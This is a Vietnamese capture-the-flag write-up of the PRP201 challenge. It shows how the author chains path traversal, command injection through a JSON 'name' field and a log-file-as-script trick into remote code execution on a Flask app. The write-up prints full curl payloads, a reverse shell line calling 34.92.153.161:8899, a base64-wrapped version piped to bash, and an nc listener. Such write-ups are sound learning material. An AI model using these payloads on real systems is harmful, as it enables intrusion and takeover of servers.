PRP201
Đây là challenge mà mình đã đoán được một phần, nhưng vẫn mất gần 1 ngày để giải ra :< Một sản phẩm đến từ anh Khoa (matuhn)
Truy cập vào bài thì thấy có 5 đường dẫn đến 5 file txt
Thử truy cập vào một trong số đó sẽ thấy URL có dạng:
http://139.180.208.121:8001/getData?f=/fus/data/1.txt
, liệu đây có phải path traversal? có vẻ như các anh ra đề năm nay khá thích path traversalMò mẫm một lúc thì mình tìm được file
flag.txt
cũng trong/fus/data
:D với nội dung như sau:Vậy là cần phải làm cách nào đó để xem được cái
secret_service
đóĐến đây thì mình bắt đầu bí rồi, path traversal thì cũng cần phải biết có những gì trong đó chứ (hoặc ít nhất là mình nghĩ vậy), cho tới khi ban ra đề cho hint đầu tiên:
?f=/fus/data/../app.py
, vậy hãy xem source code này có vấn đề gì?Vì source khá dài nên mình sẽ phân tích từng hàm một, bỏ qua hàm index, vì nó in ra trang mà chúng ta truy cập vào đầu tiên
1 2 3 4 5 6 7
@app.route('/getData', methods=['GET']) def getLog(): log_file = flask.request.args.get('f') if (log_file.startswith('/fus/data')): return flask.send_file(log_file, mimetype='text/plain', as_attachment=False) else: return ({'status': 'invalid path'},200)
Ok, đây chính là hàm mà chúng ta dùng để đọc file và thực hiện path traversal, không có nhiều điều để nói về nó.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
# run script to crawl data @app.route('/runScript') def runScript(): json = flask.request.json msg = start(json) return ({'status': msg},200) def check_script_dup(scripts, command_log, json): try: script_parent_dir = scripts + '/' + json['dir'] script_path = script_parent_dir + '/' + json['name'] except: return "missing dir and name" if os.path.exists(script_path): return "duplicate script" else: if not os.path.exists(script_parent_dir): os.makedirs(script_parent_dir) return download_script(script_path, command_log, json) def download_script(script_path, command_log, json): try: script_link = json['url'] except: return "missing url" # don't trust anyone if (urllib.parse.urlparse(script_link).netloc == "localhost:8888"): result = requests.get(script_link) with open(script_path, 'wb') as f: f.write(result.content) run_script(script_path, command_log) else: return "invalid script link" def run_script(script_path, command_log): lf = open(command_log, 'wb+') command = subprocess.Popen(['bash', script_path], stderr=lf, stdout=lf, universal_newlines=True) return "Run successfully" def start(json): scripts = home + '/scripts' log = home + '/logs' if not os.path.exists(scripts): os.makedirs(scripts) if not os.path.exists(log): os.makedirs(log) try: command_log = log + '/' + json['command_log'] + '.txt' except: return "missing command_log" msg = check_script_dup(scripts, command_log, json) return msg
Mình sẽ để cả 5 hàm này chung với nhau, vì chúng liên quan mật thiết với nhau, và cũng là tiền đề cho mọi thứ
Ta có thứ tự như sau:
runScript()
nhận json từ request và truyền cho hàmstart()
start()
xử lý việc tạo ra đường dẫn thư mục chologs
,scripts
và tạo filecommand_log
và đưa vào hàmcheck_script_dup()
check_script_dup()
nôm na thì kiểm tra xem file script đã tồn tại hay không, nếu tồn tại thì tất nhiên là không cần mất công đến hàm tiếp theo, hàmdownload_script()
download_script()
là phần sẽ “tạo ra nội dung file”, bằng cách nhập file từurl
trong JSON vào filescript
, ở đây ta biết được rằng,url
đó sẽ có dạnghttp://localhost:8888/anything_else
vì đoạn#dont trust anyone
, hãy nhớ điều nàySau khi
download_script()
hoàn tất, hàmrun_script()
được khởi động, hàm này sẽ chạy một câu lệnhbash <script_bash>
, và từ đây ta hiểu được 2 điều:script_bash
là tên file được thực thi bới lệnhbash
, có nội dung được nhập từ nôi dung file trênurl
của JSON truyền vàocommand_log
chính là file log củastdout
vàstderr
, như vậy khi thực thi, output và thông báo lỗi củabash
đều sẽ đẩy vào file log đó, và tất nhiên, ta có thể xem file log đó qua path traversal
Đến đây thì mình (và tin chắc ai đó khi xem WU này), chắc hẳn đều đã nghĩ ra rồi, tác giả cũng đã ra hint
suprocess.Popen(), stderr, stdout là gì?
rồi :vMình thử luôn nhé :v Như ở trên ta đã có JSON bao gồm
dir
,name
,command_log
,url
URL để nhận file JSON là
http://139.180.208.121:8001/runScript
, để gửi JSON lên thì mình sử dụngcurl
như sau:1
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{json}'
Mình sẽ thử tạo một JSON như sau:
1 2 3 4 5 6
{ "dir" : "test", "name" : "ls", "command_log" : "log", "url" : "http://localhost:8888/" }
Ghép lại với
curl
:1
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls", "command_log" : "log", "url" : "http://localhost:8888/"}'
Và sau khi gửi, truy cập vào
http://139.180.208.121:8001/getData?f=/fus/data/../logs/log.txt
để xem kết quả của câu lệnh là gì (ta biếtlogs
cùng chung thư mục cha vớidata
khi xem code):Có thể thấy rằng, nội dung file chính
log.txt
chính là biếnscript_path
được ra thêm cảresponse
củaindex()
, chúng trên một dòng nên sẽ bị lỗi, thử đổils
thành\nls\n
ở JSON và gửi lên, sẽ thấy sự khác biệt:Thấy rõ là
ls
đã thụt xuống, vậy điều này có ý nghĩa gì?bash <filename>
khi chạy sẽ chạy từ trên xuống như các ngôn ngữ lập trình, nhưng có một điều đặc biệt là, hàng nào lỗi, nó sẽ in ra lỗi và chạy hàng tiếp theo, chứ không dừng lại khi gặp lỗi syntax bên trongĐến đây thì mình đã nhận ra, hàm
download_script()
, vậy sẽ ra sao nếu mình truyền vàourl
trong JSON làhttp://localhost:8888/getData?f=/fus/data/../logs/log.txt
(nên lưu ýlocalhost
ở đây là local của server :> ), thì có phảidownload_script()
sẽ lấy nội dung củalog.txt
để đưa vàoscript_path
?Như vậy mình tạo JSON mới và lệnh
curl
mới như sau:1 2 3 4 5 6
{ "dir" : "test", "name" : "ls.sh", "command_log" : "lssh", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt" }
1
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls.sh", "command_log" : "lssh", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt"}'
Và gửi đi, giờ chỉ cần mở file
lssh.txt
bằng path traversal và thu được kết quả:Vậy là chính xác rồi, nhưng có một vấn đề là ta cần tìm đến
/root
để mở filesecret_service
, và tất nhiên là phải root thì mới có thể làm được điều đó (mình đã thử rồi)Mụ mẫm cả đầu thì anh T giấu tên và anh Khoa (tác giả) đã gợi ý về
reverse shell
Vậy bây giờ chỉ cần dùng cách trên, tạo một file chạy một đoạn reverse shell và chúng ta sẽ chiếm quyền thông qua SUID (hint từ tác giả) là xong
Nhưng, mình đã thử và nhận ra, tất cả những command mà chứa dấu ‘/’ thì lỗi 500 là rõ, như ở dưới mình để
name
trong JSON là\nls ../root\n
:Vậy là mình cần cách khác, nhưng trước tiên, phải chuẩn bị cái reverse shell đã :D
1
sh -i >& /dev/tcp/34.92.153.161/8899 0>&1
Có cả revshell của
bash
,nc
, …, tìm hiểu tại đâyVẫn là tác giả đã gợi ý cho mình một cách để đẩy được revshell kia lên, sử dụng
base64
, chuyển đoạn shell ở trên thànhbase64
encode, và đưa về dạng sau:1
echo "c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjEK" | base64 -d | bash
Vậy là xong, giờ cần chuẩn bị request đầu tiên (hãy nhớ escape string :v):
1 2 3 4 5 6
{ "dir" : "rev", "name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n", "command_log" : "rev", "url" : "http://localhost:8888/" }
1
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev","name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n","command_log" : "rev","url" : "http://localhost:8888/"}'
Gửi đi, và trước khi đến với lần request thứ 2, mình phải tạo một listener trên máy của mình đã (thực ra là VPS mình mượn của một người bạn xứ cảng):
1
nc -lvnp 8899
Giờ để listener ở đó, ta quay lại với request thứ 2, request để chạy revshell:
1 2 3 4 5 6
{ "dir" : "rev_tcp", "name" : "rev_tcp.sh", "command_log" : "rev", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt" }
1
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev_tcp","name" : "rev_tcp.sh","command_log" : "rev","url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt"}'
Và gửi đi, rồi quay lại listener:
Vậy là ta đã mở được reverse shell trên server
Bây giờ chỉ cần tiến hành leo thang đặc quyền thôi:
Ta có flag:
"FUSec{a9595511e650bb0ff367d8144818802b}"
Cảm ơn anh Khoa và anh T giấu tên (không lừa) đã luôn hỗ trợ, đấm mồm thằng em để em có thể giải được bài này
Mình cũng xin cảm ơn người bạn đến từ đất cảng Mai Kim Long, mặc dù chỉ quen biết qua mạng xã hội nhưng vẫn dám cho mình mượn tài khoản GCP để làm bài này, thanks bro!